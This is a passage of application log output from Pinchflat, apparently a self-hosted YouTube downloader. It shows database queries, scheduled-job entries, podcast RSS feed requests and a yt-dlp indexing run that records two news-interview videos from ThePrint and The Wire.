s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:00:09.207 [debug] QUERY OK source="media_items" db=0.8ms idle=1839.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:00:09.211 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1843.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:00:09.213 [debug] QUERY OK source="media_metadata" db=1.2ms queue=0.3ms idle=1177.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:00:09.214 [info] Sent 200 in 10ms 15:00:27.725 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:57.727 [info] {"source":"oban","duration":1805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.137 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:01:27.730 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:55.998 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 15:01:57.733 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.140 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:02:27.737 [info] {"source":"oban","duration":1871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:44.098 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:02:44.099 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:02:44.101 [debug] QUERY OK source="sources" db=1.9ms idle=1620.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:02:44.103 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=734.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:02:44.104 [debug] QUERY OK source="source_metadata" db=0.4ms idle=736.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:02:44.105 [debug] QUERY OK source="media_metadata" db=0.8ms idle=737.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:02:44.106 [info] Sent 200 in 7ms 15:02:57.739 [info] {"source":"oban","duration":1786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.142 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:03:27.743 [info] {"source":"oban","duration":1965,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:57.745 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.144 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:04:27.748 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:57.750 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.145 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:05:27.752 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:32.699 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 15:05:32.700 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 15:05:32.703 [debug] QUERY OK source="sources" db=0.4ms queue=0.4ms idle=1335.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 15:05:32.705 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=767.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 15:05:32.706 [debug] QUERY OK source="source_metadata" db=0.7ms idle=338.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 15:05:32.707 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.3ms idle=339.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 15:05:32.708 [info] Sent 200 in 9ms 15:05:57.754 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.147 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:06:27.757 [info] {"source":"oban","duration":2815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:57.760 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.149 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:07:12.672 [info] {"args":{"id":1},"id":84,"meta":{},"system_time":1768057632525787972,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 15:07:12.771 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=1327.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:07:12.804 [debug] QUERY OK source="settings" db=13.1ms queue=0.2ms idle=1347.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:07:12.807 [debug] QUERY OK source="media_items" db=1.3ms idle=1362.6ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:07:12.809 [debug] QUERY OK source="media_items" db=1.6ms idle=353.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 15:07:12.811 [debug] QUERY OK source="media_profiles" db=0.7ms idle=324.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:07:13.021 [debug] QUERY OK source="settings" db=1.1ms queue=0.2ms idle=248.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:07:13.245 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 15:07:13.247 [debug] QUERY OK source="settings" db=1.4ms queue=0.2ms idle=441.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:07:13.248 [debug] Current batch of media processed. Will check again in 1000ms 15:07:13.249 [debug] QUERY OK source="settings" db=0.9ms queue=0.5ms idle=440.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:07:13.251 [debug] QUERY OK source="settings" db=0.5ms queue=0.6ms idle=440.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:07:13.324 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/59/26/5926fa5e33c032133397bbfd6b0bb9608ed33b4f427f33363e534fc020ab874f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 15:07:14.250 [debug] Current batch of media processed. Will check again in 1000ms 15:07:15.251 [debug] Current batch of media processed. Will check again in 1000ms 15:07:16.252 [debug] Current batch of media processed. Will check again in 1000ms 15:07:17.253 [debug] Current batch of media processed. Will check again in 1000ms 15:07:18.254 [debug] Current batch of media processed. Will check again in 1000ms 15:07:19.256 [debug] Current batch of media processed. Will check again in 1000ms 15:07:20.260 [debug] Current batch of media processed. Will check again in 1000ms 15:07:21.262 [debug] Current batch of media processed. Will check again in 1000ms 15:07:22.264 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 15:07:22.290 [debug] QUERY OK source="sources" db=22.9ms queue=0.3ms idle=1813.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 15:07:22.293 [debug] QUERY OK source="sources" db=1.1ms queue=1.0ms idle=1837.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:07:22.296 [debug] QUERY OK source="media_items" db=0.4ms queue=1.0ms idle=1840.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 15:07:22.358 [debug] QUERY OK source="media_items" db=60.0ms queue=0.1ms idle=1738.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "6b145243-99a3-4ce1-a7b9-ce3d6565d97a", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 15:07:22Z], ~U[2026-01-10 15:07:22Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 15:07:22.359 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=797.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:07:22.363 [debug] QUERY OK source="media_profiles" db=3.3ms queue=0.1ms idle=69.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:07:22.368 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=73.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 15:07:22.369 [debug] Current batch of media processed. Will check again in 1000ms 15:07:23.370 [debug] Current batch of media processed. Will check again in 1000ms 15:07:24.371 [debug] Current batch of media processed. Will check again in 1000ms 15:07:25.374 [debug] Current batch of media processed. Will check again in 1000ms 15:07:26.376 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "duration" => 2570, "filename" => "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", "id" => "NDVG7q8x7Ms", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "playlist_index" => 2, "timestamp" => 1767944211, "title" => "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "upload_date" => "20260109"} 15:07:26.380 [debug] QUERY OK source="sources" db=2.9ms queue=0.1ms idle=920.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 15:07:26.384 [debug] QUERY OK source="sources" db=2.8ms queue=0.1ms idle=924.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:07:26.388 [debug] QUERY OK source="media_items" db=2.8ms queue=0.6ms idle=927.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 15:07:26.397 [debug] QUERY OK source="media_items" db=7.6ms idle=932.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) 